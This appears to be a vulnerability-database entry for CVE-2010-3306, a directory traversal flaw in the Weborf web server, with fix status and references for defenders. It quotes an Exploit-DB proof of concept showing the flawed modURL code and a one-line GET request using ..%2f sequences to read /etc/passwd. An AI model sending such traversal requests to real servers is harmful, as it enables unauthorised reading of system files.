CVE-2010-3306
medium
CVSS v3
โ
CVSS v4 NEW
โ
VIR risk
6.0
Description
Directory traversal vulnerability in the modURL function in instance.c in Weborf before 0.12.3 allows remote attackers to read arbitrary files via ..%2f sequences in a URI.
Predictions
Exploit likelihood
20%
Patch ETA
โ
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
weborf 0.12.2 - Directory Traversal
Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author: Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A
=============================================================
Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability. This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.
instance.c : line 240-244
------------------------------
void modURL(char* url) {
//Prevents the use of .. to access the whole filesystem <-- ORLY?
strReplace(url,"../",'\0');
replaceEscape(url);
------------------------------
Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
==============================================================
Stay safe,
Over and Out
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.12.3-1 |
| sid | Fixed | 0.12.3-1 |
| forky | Fixed | 0.12.3-1 |
| bullseye | Fixed | 0.12.3-1 |
| bookworm | Fixed | 0.12.3-1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| salvo_g._tomaselli | weborf | {"endIncluding":"0.12.2"} | |
| salvo_g._tomaselli | weborf | 0.3 | |
| salvo_g._tomaselli | weborf | 0.4 | |
| salvo_g._tomaselli | weborf | 0.5 | |
| salvo_g._tomaselli | weborf | 0.6 | |
| salvo_g._tomaselli | weborf | 0.7 | |
| salvo_g._tomaselli | weborf | 0.8 | |
| salvo_g._tomaselli | weborf | 0.9 | |
| salvo_g._tomaselli | weborf | 0.10 | |
| salvo_g._tomaselli | weborf | 0.11 | |
| salvo_g._tomaselli | weborf | 0.12 | |
| salvo_g._tomaselli | weborf | 0.12.1 | |
References
- http://code.google.com/p/weborf/source/detail?r=464
- http://galileo.dmi.unict.it/wiki/weborf/doku.php?id=news:released_0.12.3
- http://secunia.com/advisories/41286
- http://www.exploit-db.com/exploits/14925/
- http://www.openwall.com/lists/oss-security/2010/09/17/3
- http://www.openwall.com/lists/oss-security/2010/09/17/8
- http://www.osvdb.org/67840
- https://security-tracker.debian.org/tracker/CVE-2010-3306
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.